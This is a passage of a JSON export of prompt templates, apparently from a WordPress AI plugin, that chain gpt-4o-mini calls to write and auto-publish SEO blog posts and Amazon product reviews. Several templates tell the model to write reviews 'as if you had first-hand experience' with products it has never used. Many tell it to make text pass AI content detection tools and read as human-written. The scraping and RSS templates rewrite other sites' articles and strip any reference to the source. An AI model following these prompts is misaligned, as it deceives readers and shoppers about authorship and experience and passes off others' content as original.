Ideas","id":51240,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Analyze recent social media trends and suggest content ideas to capitalize on them. Using this data, suggest how I can capitalize on them for my Topic \"%%keyword%%\".\nCreate a step by step guide for each trend with examples, use markdown format.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Topical Authority Ideas","id":51239,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"I want to add to my topical authority. Below is the list of my existing blog posts. Give me 10 ideas for new topical authority blog posts in this niche.\n\n\"%%keyword%%\"\n<\/blog-posts>","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Title Suggestions","id":51238,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Write 20 titles that are 60 characters in length using a friendly, interesting and helpful tone. Optimize the titles for high CTR as they will be clicked on Google for the subject \"%%keyword%%\". make the titles catchy. Take on the persona of an expert in Google Organic Traffic Marketing and Title Optimization then write the titles so that they have a higher probability of being clicked if they appear for related search terms.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Related Blog Ideas","id":51237,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"As a keyword research and marketing expert, suggest 10 popular related topics that people who are reading an article about \"%%keyword%%\" would also be asking besides what is being covered in the article.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Metaphor Generator","id":51236,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Write a simple, short and interesting metaphor that is creative. Use language and examples that an average person would understand. Use your copywriting skills so that people can relate using everyday examples. Write no more than 1 paragraph. Create the metaphor about the following text:\n%%keyword%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Emerging Topics Lister","id":51235,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Identify emerging topics in the field of %%keyword%% for future content creation. Evaluate all identified topics and RANK them in order of popularity. Give each one a score out of 100","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Domain Name Suggestions","id":51234,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Suggest a list of .com domain names that fit well with my topic: \"%%keyword%%\"\nUse the following criteria when suggesting the names:\n1) Aim for a total of 4-8 characters before the .com \n2) The domain should be easy to spell correctly by hearing it\n3) Try to use full words\n4) Suggest 50 unique Domain Names.\n5) Keep the names short and simple\n6) Avoid hyphens, numbers, and doubled letters.\n7) Do not add random letters onto the end or start such as \u201cx\u201d\n8) Stay unique, specific, and on-theme\n9) Make use of relevant keywords.\n10) Try to perform research so to avoid trademark infringement when possible.\n11) Avoid vague or generic options.\n12) Suggestions should be easy to type and pronounce.\n13) When reading the domain from left to right it should make sense.\n14) The Domains you suggest should be brandable\n15) Domain should be a .com","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"Manual Homeowner Article","id":51233,"json":[{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Write an article for homeowners and renters in , about %%keyword%%. Personalize the article with details about my business. Please use lists and markdown formatting to create a user-friendly reading experience. Additionally, include nearby local attractions and places of interest that would be of interest to readers in the area and cite them appropriately. Some details on my business: ","model":"gpt-4o-mini","assistant_id":"","critical":"0"}}],"category":["manual"]},{"name":"RSS Feed Based Article","id":48480,"json":[{"identifier":"af","name":"RSS Feed Data","type":"crawl_rss","parameters":{"url":"%%keyword%%","template":"[%%item_counter%%]: %%item_title%% - %%item_description%%","max_items":"8","scrape":"0","scrape_method":"0","max_chars":"","prompt":"","assistant_id":"","model":"","critical":"0"}},{"identifier":"9","name":"Create the article outline","type":"ai_text","parameters":{"prompt":"Using the content I provide below, create an optimized blog post outline that can be used to form a revised version of this article so that it is even more seo optimized and covers the topic entirely. Split the blog post outline into 5 sections. The outline will be used to create an article that will be put on a different website so don't add any references to the original website.\nUse the content to determine the main topic so that you can create an optimized blog post outline.\nThe provided content is:\n%%rss_content_af%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ad","name":"Create the article headings","type":"ai_text","parameters":{"prompt":"Write 5 consecutive plain text headings for an article about the below text, that highlight specific aspects, provide detailed insights and specific recommendations. The headings must be written in English, one on each line. Don't use HTML in the created text. Don't add numbers, hyphens, HTML, markdown or any types of quotes. Return only the headings list, nothing else. Use the following text: %%ai_text_9%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"8","name":"Create the title","type":"ai_text","parameters":{"prompt":"Write a single engaging WordPress post title based on the following article outline. Don't return anything else, just the title. The article outline is:\\n %%ai_text_9%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ab","name":"Create the introduction","type":"ai_text","parameters":{"prompt":"Write an introduction paragraph for an article about \"%%keyword%%\", which has the following title: %%ai_text_8%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"aa","name":"Foreach outline entry, create content","type":"ai_text_foreach","parameters":{"multiline_input":"%%ai_text_ad%%","max_runs":"","prepend":"","append":"","prompt":"Using the provided blog post outline write an in-depth SEO optimized article for section %%current_input_line_counter%%, having the following heading: %%current_input_line%%. Ensure the article is unique, engaging, and optimized for search engines. Use a professional tone and a mix of long and complex sentences alongside shorter ones.\nIf this article is the first part of the article outline, do not add a conclusion to the end. If it is the last part, don't add an intro to its beginning. When ending the article, if applicable, write a paragraph introducing the upcoming section of the article from the outline in a seamless manner.\nUse markdown format to add headings, bullet points, lists, FAQs, answers and key take-aways. \nFormat important topic terms and keywords using bold, italic, and underline formatting.\nWrite the article so that it will pass AI content detection tools and reads as if written by a human. \nThe outline is: \n\n%%ai_text_ad%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ac","name":"Create outro","type":"ai_text","parameters":{"prompt":"Write an outro paragraph for an article about \"%%keyword%%\", which has the following title: %%ai_text_8%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"7","name":"Publish Post","type":"save_post","parameters":{"post_title":"%%ai_text_8%%","post_content":"%%ai_text_ab%%\n%%ai_text_foreach_aa%%\n%%ai_text_ac%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"","critical":"0"}}],"category":["blogging"]},{"name":"URL Scraping Based Article","id":48471,"json":[{"identifier":"ae","name":"Scrape Site URL","type":"crawl_sites","parameters":{"url":"%%keyword%%","scrape_method":"0","scrape_selector":"auto","scrape_string":"","strip_tags":"0","max_chars":"","critical":"0"}},{"identifier":"9","name":"Create the article outline","type":"ai_text","parameters":{"prompt":"Using the content provided, create an optimized blog post outline that can be used to form a revised version of this article so that it is even more seo optimized and covers the topic entirely. Split the blog post outline into 5 sections. The outline will be used to create an article that will be put on a different website so dont add any references to the original website.\nUse the content and URL structure to determine the main topic so that you can create an optimized blog post outline.\nThe content comes from the following url: %%keyword%%\nThe article content is:\n%%scraped_content_ae%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ad","name":"Create the article headings","type":"ai_text","parameters":{"prompt":"Write 5 consecutive plain text headings for an article, using the following article outline. The headings must be written in English, one on each line. Don't use HTML in the created text. Don't add numbers, hyphens, HTML, markdown or any types of quotes. Return only the headings list, nothing else. The outline is: \n%%ai_text_9%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"8","name":"Create the title","type":"ai_text","parameters":{"prompt":"Write a single engaging WordPress post title based on the following article headings. Don't return anything else, just the title. The headings are:\\n%%ai_text_9%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ab","name":"Create the introduction","type":"ai_text","parameters":{"prompt":"Write an introduction paragraph for an article which has the following title: \"%%ai_text_8%%\". Also, the main headings of the article are: %%ai_text_9%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"aa","name":"Foreach outline entry, create content","type":"ai_text_foreach","parameters":{"multiline_input":"%%ai_text_ad%%","max_runs":"","prepend":"","append":"","prompt":"Using the provided blog post outline write an in-depth SEO optimized article for section %%current_input_line_counter%%, having the following heading: %%current_input_line%%. Ensure the article is unique, engaging, and optimized for search engines. Use a professional tone and a mix of long and complex sentences alongside shorter ones.\nIf this article is the first part of the article outline, do not add a conclusion to the end. If it is the last part, don't add an intro to its beginning. When ending the article, if applicable, write a paragraph introducing the upcoming section of the article from the outline in a seamless manner.\nUse markdown format to add headings, bullet points, lists, FAQs, answers and key take-aways. \nFormat important topic terms and keywords using bold, italic, and underline formatting.\nWrite the article so that it will pass AI content detection tools and reads as if written by a human. The outline was generated from this URL: \"%%keyword%%\".\n\n\n%%ai_text_9%%\n<\/outline>","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ac","name":"Create outro","type":"ai_text","parameters":{"prompt":"Write an outro paragraph for an article about \"%%keyword%%\", which has the following title: %%ai_text_8%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"7","name":"Publish Post","type":"save_post","parameters":{"post_title":"%%ai_text_8%%","post_content":"%%ai_text_ab%%\n%%ai_text_foreach_aa%%\n%%ai_text_ac%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"","critical":"0"}}],"category":["blogging"]},{"name":"SERP Search Based Article","id":48470,"json":[{"identifier":"ag","name":"Google Search","type":"google_search","parameters":{"keyword":"%%keyword%%","locale":"","template":"[%%item_counter%%]: %%item_title%% - %%item_snippet%% - URL: %%item_url%%","max_items":"8","scrape":"0","scrape_method":"0","max_chars":"","prompt":"","assistant_id":"","model":"","critical":"0"}},{"identifier":"8","name":"Create the title","type":"ai_text","parameters":{"prompt":"Write a single engaging WordPress post title based on the following keyword. Don't return anything else, just the title. The keyword is:\\n%%keyword%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ab","name":"Create the introduction","type":"ai_text","parameters":{"prompt":"Write an introduction paragraph for an article about \"%%keyword%%\", which has the following title: %%ai_text_8%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"9","name":"Create the article outline","type":"ai_text","parameters":{"prompt":"Write 5 consecutive plain text headings for an article about \"%%keyword%%\" that highlight specific aspects, provide detailed insights and specific recommendations. The headings must be written in English, one on each line. Don't use HTML in the created text. Don't add numbers, hyphens, HTML, markdown or any types of quotes. Return only the headings list, nothing else. Use also the following Google Search results which was returned for the article keyword: %%search_result_ag%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"aa","name":"Foreach outline entry, create content","type":"ai_text_foreach","parameters":{"multiline_input":"%%ai_text_9%%","max_runs":"","prepend":"","append":"","prompt":"Using the provided blog post outline write an in-depth SEO optimized article for section %%current_input_line_counter%%, having the following heading: %%current_input_line%%. Ensure the article is unique, engaging, and optimized for search engines. Use a professional tone and a mix of long and complex sentences alongside shorter ones.\nIf this article is the first part of the article outline, do not add a conclusion to the end. If it is the last part, don't add an intro to its beginning. When ending the article, if applicable, write a paragraph introducing the upcoming section of the article from the outline in a seamless manner.\nUse markdown format to add headings, bullet points, lists, FAQs, answers and key take-aways. \nFormat important topic terms and keywords using bold, italic, and underline formatting.\nWrite the article so that it will pass AI content detection tools and reads as if written by a human. The outline was generated from a search result for this Google search: \"%%keyword%%\". The search results are: %%search_result_ag%%\n\n\n%%ai_text_9%%\n<\/outline>","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ac","name":"Create outro","type":"ai_text","parameters":{"prompt":"Write an outro paragraph for an article about \"%%keyword%%\", which has the following title: %%ai_text_8%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"7","name":"Publish Post","type":"save_post","parameters":{"post_title":"%%ai_text_8%%","post_content":"%%ai_text_ab%%\n%%ai_text_foreach_aa%%\n%%ai_text_ac%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"","critical":"0"}}],"category":["blogging"]},{"name":"Amazon Single Product Review","id":49358,"json":[{"identifier":"ac","name":"Amazon Product Listing","type":"amazon_listing","parameters":{"asin":"%%keyword%%","aff_id":"","target_country":"com","sort_results":"none","max_product_count":"1","listing_template":"%%product_counter%%. %%product_title%% - Link: %%product_url%% - Price: %%product_price%%","critical":"1"}},{"identifier":"2","name":"Process the product details","type":"ai_text","parameters":{"prompt":"Summarize the following product information, make it concise and further usable by an AI writer, List it in a precise format which is easy to be understood, add also the product links to the summary: %%product_listing_ac%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Below are details of a best selling product which matches this search \"%%keyword%%\", that sells on amazon.\nYour first instruction is:\nWrite an introduction for a product review blog post of the product detailed below. Write as if you had first-hand experience with the product you are describing. \n\nWrite the article so that it will pass AI content detection tools and reads as if written by a human, using a mix of long and complex sentences alongside shorter ones.\n\nFormat the article using Markdown format. Include relevant headings and style relevant words and terms in bold, italic, and underline formatting.\n\n
                    \n%%ai_text_2%%\n<\/details>","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"6","name":"AI Text","type":"ai_text","parameters":{"prompt":"Below are details of a best selling product which matches this search \"%%keyword%%\", that sells on amazon.\nYou will be creating an in-depth product review article for this product, to help people who are in need of this product to discover it. Your instruction is:\nWrite 5 consecutive headings for a product review article of the below product, that starts with an overview, highlights specific features and aspects of the product, provides detailed insights and specific recommendations. Add each heading on a new line. Don't add numbers to the headings, hyphens or any types of quotes. Write as if you had first-hand experience with the product you are describing. Return only the headings list, nothing else.\n\n
                    \n%%ai_text_2%%\n<\/details>","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"ad","name":"AI Text For Each Line Of Input","type":"ai_text_foreach","parameters":{"multiline_input":"%%ai_text_6%%","max_runs":"","prepend":"","append":"","prompt":"Below are details of a best selling product which matches this search \"%%keyword%%\", that sells on amazon. You will be creating an in-depth product review article for this product, to help people who are in need of this product to discover it. Your instruction is:\nWrite the content of a product review post, for the following section heading: \"%%current_input_line%%\". This is the %%current_input_line_counter%% section of the article. Don't repeat the product title in the created content, also don't be repetitive in general. Don't add an intro or outro. Use HTML for formatting, include unnumbered lists and bold. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple.\n\n
                    \n%%ai_text_2%%\n<\/details>","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"8","name":"AI Text","type":"ai_text","parameters":{"prompt":"Below are details of a best selling product which matches this search \"%%keyword%%\", that sells on amazon.\nYour first instruction is:\nWrite an outro for a product review blog post of the product detailed below. Write as if you had first-hand experience with the product you are describing. \n\nWrite the article so that it will pass AI content detection tools and reads as if written by a human, using a mix of long and complex sentences alongside shorter ones.\n\nFormat the article using Markdown format. Include relevant headings and style relevant words and terms in bold, italic, and underline formatting.\n\n
                    \n%%ai_text_2%%\n<\/details>","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"3","name":"Generate featured image","type":"dalle_ai_image","parameters":{"prompt":"Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this keyword: \"%%keyword%%\". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.","model":"dalle2","image_size":"1024x1024","critical":"0"}},{"identifier":"ab","name":"Create title","type":"ai_text","parameters":{"prompt":"Write a single engaging WordPress post title for the below text. Don't return anything else, just the title. The text is:\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"4","name":"Publish post","type":"save_post","parameters":{"post_title":"%%ai_text_ab%%","post_content":"%%ai_text_5%%
                    %%ai_text_foreach_ad%%
                    %%ai_text_8%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"%%dalle_image_3%%","critical":"0"}}],"category":["amazon"]},{"name":"Amazon Best Sellers","id":48254,"json":[{"identifier":"ac","name":"Amazon Product Listing","type":"amazon_listing","parameters":{"asin":"%%keyword%%","aff_id":"","target_country":"com","sort_results":"none","max_product_count":"5","listing_template":"%%product_counter%%. %%product_title%% - Link: %%product_url%% - Price: %%product_price%%","critical":"1"}},{"identifier":"2","name":"Process the product details","type":"ai_text","parameters":{"prompt":"Summarize the following product information, make it concise and further usable by an AI writer, List it in a precise format which is easy to be understood, add also the product links to the summary: %%product_listing_ac%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"5","name":"AI Text","type":"ai_text","parameters":{"prompt":"Below are details of 5 best selling %%keyword%% that sell on amazon.\nyou will be creating an in-depth article for all 5 products to help people compare the products before they buy one. You will split the article into 5 separate parts and then do a side by side comparison of all 5 products. Your first instruction is:\nUsing the details below write an engaging and comprehensive SEO Optimized article that will form the first part of an in-depth article about the first product. End the article by introducing the 2nd product. Begin the article with an engaging introduction that captures the readers' attention and provides an overview of the importance of the topic. Set the context for the readers and explain why a comprehensive comparison of its competitors is crucial for making an informed buying decision.\n\nWrite the article so that it will pass AI content detection tools and reads as if written by a human, using a mix of long and complex sentences alongside shorter ones.\n\nFormat the article using Markdown format. Include relevant headings and style relevant words and terms in bold, italic, and underline formatting.\n\n
                    \n%%ai_text_2%%\n<\/details>","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"6","name":"AI Text","type":"ai_text","parameters":{"prompt":"Now write an engaging and comprehensive SEO Optimized article that will form the 2nd part of the in-depth article about the 2nd product. use markdown format and write so that it reads as if written by a human:\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"7","name":"AI Text","type":"ai_text","parameters":{"prompt":"Now write an engaging and comprehensive SEO Optimized article that will form the 3rd part of the in-depth article about the 3rd product. use markdown format and write so that it reads as if written by a human\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"8","name":"AI Text","type":"ai_text","parameters":{"prompt":"Now write an engaging and comprehensive SEO Optimized article that will form the 4rth part of the in-depth article about the 4th product. use markdown format and write so that it reads as if written by a human\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"9","name":"AI Text","type":"ai_text","parameters":{"prompt":"Now write an engaging and comprehensive SEO Optimized article that will form the 5th part of the in-depth article about the 5th product. use markdown format and write so that it reads as if written by a human.\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"aa","name":"AI Text","type":"ai_text","parameters":{"prompt":"Now write an engaging and comprehensive SEO Optimized article that compares all 5 products. This is the last part of the article. The article should be written in a professional tone, targeting users who are seeking an alternative or shopping around for other options before making a buying decision. \nConclude the article with a balanced summary, highlighting that the ultimate choice depends on the user's specific needs and preferences.\n\nWrite the article so that it will pass AI content detection tools and reads as if written by a human, using a mix of long and complex sentences alongside shorter ones.\n\nFormat the article using Markdown format. Include relevant headings and style relevant words and terms in bold, italic, and underline formatting.\nProducts:\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"3","name":"Generate featured image","type":"dalle_ai_image","parameters":{"prompt":"Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this keyword: \"%%keyword%%\". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.","model":"dalle3","image_size":"1024x1024","critical":"0"}},{"identifier":"ab","name":"Create title","type":"ai_text","parameters":{"prompt":"Write a single engaging WordPress post title for the below text. Don't return anything else, just the title. The text is:\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"4","name":"Publish post","type":"save_post","parameters":{"post_title":"%%ai_text_ab%%","post_content":"%%ai_text_5%%%%ai_text_6%%%%ai_text_7%%%%ai_text_8%%%%ai_text_9%%%%ai_text_aa%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"%%dalle_image_3%%","critical":"0"}}],"category":["amazon"]},{"name":"Engaging Blog Post Title","id":48255,"json":[{"identifier":"1","name":"Create a post title for a keyword","type":"ai_text","parameters":{"prompt":"Create an engaging, Intriguing, proactive and seo optimized blog post title for the keyword \"%%keyword%%\". Add urgency and optimize for CTR.","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"2","name":"Create Blog Post Outline","type":"ai_text","parameters":{"prompt":"Write a detailed blog post outline with H2, H3, subheadings, and bullet points about the title. Divide the blog post outline into 5 sections with details about each section. The title is: %%ai_text_1%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"3","name":"Write Article for Section 1","type":"ai_text","parameters":{"prompt":"Using the outline write an in-depth seo optimized article for section 1. Ensure the article is unique, engaging, and optimized for search engines. Use a professional tone and a mix of long and complex sentences alongside shorter ones. This article will be the first part of the article outline so do not add a conclusion to the end. When ending the article introduce the 2nd section of the article from the outline in a seamless manner. Use markdown format to add headings, bullet points, lists, FAQs, and answers. Format important topic terms and keywords using bold, italic, or underline formatting. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nBlog title: %%ai_text_1%%\nBlog post outline:\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"4","name":"Write Article for Section 2","type":"ai_text","parameters":{"prompt":"Using the outline write an in-depth seo optimized article for section 2. Ensure the article is unique, engaging, and optimized for search engines. Use a professional tone and a mix of long and complex sentences alongside shorter ones. This article will be the 2nd part of the article outline so do not add a conclusion to the end. When ending the article introduce the 3rd section of the article from the outline in a seamless manner. Use markdown format to add headings, bullet points, lists, FAQs, and answers. Format important topic terms and keywords using bold, italic, or underline formatting. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nBlog title: %%ai_text_1%%\nBlog post outline:\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"5","name":"Write Article for Section 3","type":"ai_text","parameters":{"prompt":"Using the outline write an in-depth seo optimized article for section 3. Ensure the article is unique, engaging, and optimized for search engines. Use a professional tone and a mix of long and complex sentences alongside shorter ones. This article will be the 3rd part of the article outline so do not add a conclusion to the end. When ending the article introduce the 4th section of the article from the outline in a seamless manner. Use markdown format to add headings, bullet points, lists, FAQs, and answers. Format important topic terms and keywords using bold, italic, or underline formatting. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nBlog title: %%ai_text_1%%\nBlog post outline:\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"6","name":"Write Article for Section 4","type":"ai_text","parameters":{"prompt":"Using the outline write an in-depth seo optimized article for section 4. Ensure the article is unique, engaging, and optimized for search engines. Use a professional tone and a mix of long and complex sentences alongside shorter ones. This article will be the 4th part of the article outline so do not add a conclusion to the end. When ending the article introduce the 5th section of the article from the outline in a seamless manner. Use markdown format to add headings, bullet points, lists, FAQs, and answers. Format important topic terms and keywords using bold, italic, or underline formatting. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nBlog title: %%ai_text_1%%\nBlog post outline:\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"7","name":"Write Article for Section 5","type":"ai_text","parameters":{"prompt":"Using the outline write an in-depth seo optimized article for section 5. Ensure the article is unique, engaging, and optimized for search engines. Use a professional tone and a mix of long and complex sentences alongside shorter ones. This article will be the final part of the article outline. End the article with a conclusion and a short recap of all 5 articles in a seamless manner. Use markdown format to add headings, bullet points, lists, FAQs, and answers. Format important topic terms and keywords using bold, italic, or underline formatting. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nBlog title: %%ai_text_1%%\nBlog post outline:\n%%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"8","name":"Publish post","type":"save_post","parameters":{"post_title":"%%ai_text_1%%","post_content":"%%ai_text_3%%
                    %%ai_text_4%%
                    %%ai_text_5%%
                    %%ai_text_6%%
                    %%ai_text_7%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"","critical":"0"}}],"category":["blogging"]},{"name":"SEO Optimized Blog Post","id":48256,"json":[{"identifier":"1","name":"Create an Engaging Blog Post Title","type":"ai_text","parameters":{"prompt":"Create an engaging, intriguing, proactive, and SEO optimized blog post title for the keyword \"%%keyword%%\". Add urgency and optimize for CTR. Provide the title only.","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"2","name":"Create Blog Post Outline","type":"ai_text","parameters":{"prompt":"Write a detailed blog post outline that is split into 5 sections. For each section provide a SEO Optimized heading. For each heading provide multiple subheadings and detailed points on what should be included to cover the section. The outline will be about \"%%keyword%%\".","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"3","name":"Write Article for Section 1","type":"ai_text","parameters":{"prompt":"Using the outline \"%%ai_text_2%%\", write the section 1 of an in-depth SEO optimized article. Use markdown format and end the article by introducing the 2nd section in a seamless manner.","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"4","name":"Write Article for Section 2","type":"ai_text","parameters":{"prompt":"Using the outline \"%%ai_text_2%%\", write the section 2 of an in-depth SEO optimized article. Use markdown format and end the article by introducing the 3rd section in a seamless manner.","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"5","name":"Write Article for Section 3","type":"ai_text","parameters":{"prompt":"Using the outline \"%%ai_text_2%%\", write the section 3 of an in-depth SEO optimized article. Use markdown format and end the article by introducing the 4th section in a seamless manner.","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"6","name":"Write Article for Section 4","type":"ai_text","parameters":{"prompt":"Using the outline \"%%ai_text_2%%\", write the section 4 of an in-depth SEO optimized article. Use markdown format and end the article by introducing the 5th section in a seamless manner.","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"7","name":"Write Article for Section 5","type":"ai_text","parameters":{"prompt":"Using the outline \"%%ai_text_2%%\", write the section 5 of an in-depth SEO optimized article. Use markdown format and end the article with a conclusion and a recap.","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"8","name":"Summarize and Tie-in with Business","type":"ai_text","parameters":{"prompt":"Create SEO optimized content that summarizes the 5 sections described in this outline: \"%%ai_text_2%%\". End with a call to action.","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"9","name":"Publish Post","type":"save_post","parameters":{"post_title":"%%ai_text_1%%","post_content":"%%ai_text_3%%
                    %%ai_text_4%%
                    %%ai_text_5%%
                    %%ai_text_6%%
                    %%ai_text_7%%
                    %%ai_text_8%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"","critical":"0"}}],"category":["blogging"]},{"name":"SEO Optimized In-depth Article","id":48257,"json":[{"identifier":"0","name":"Create SEO Optimized Title","type":"ai_text","parameters":{"prompt":"Create a single SEO optimized and engaging post title about \"%%keyword%%\".","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"1","name":"Create SEO Optimized Headings","type":"ai_text","parameters":{"prompt":"Create 5 SEO optimized and engaging headings that can be used to form 1 in-depth article about \"%%keyword%%\". List 5 headings only.","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"2","name":"Article Outline Creation","type":"ai_text","parameters":{"prompt":"Now create an in-depth article outline for all 5 headings, split the article into 5 different sections. The outline is: %%ai_text_1%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"3","name":"Write Article for Section 1","type":"ai_text","parameters":{"prompt":"Using section 1 from the provided \"Article Outline\", write an in-depth SEO optimized article. Write the article using rich HTML language. Incorporate \"LSI terms\" into the article. Add an intro, but 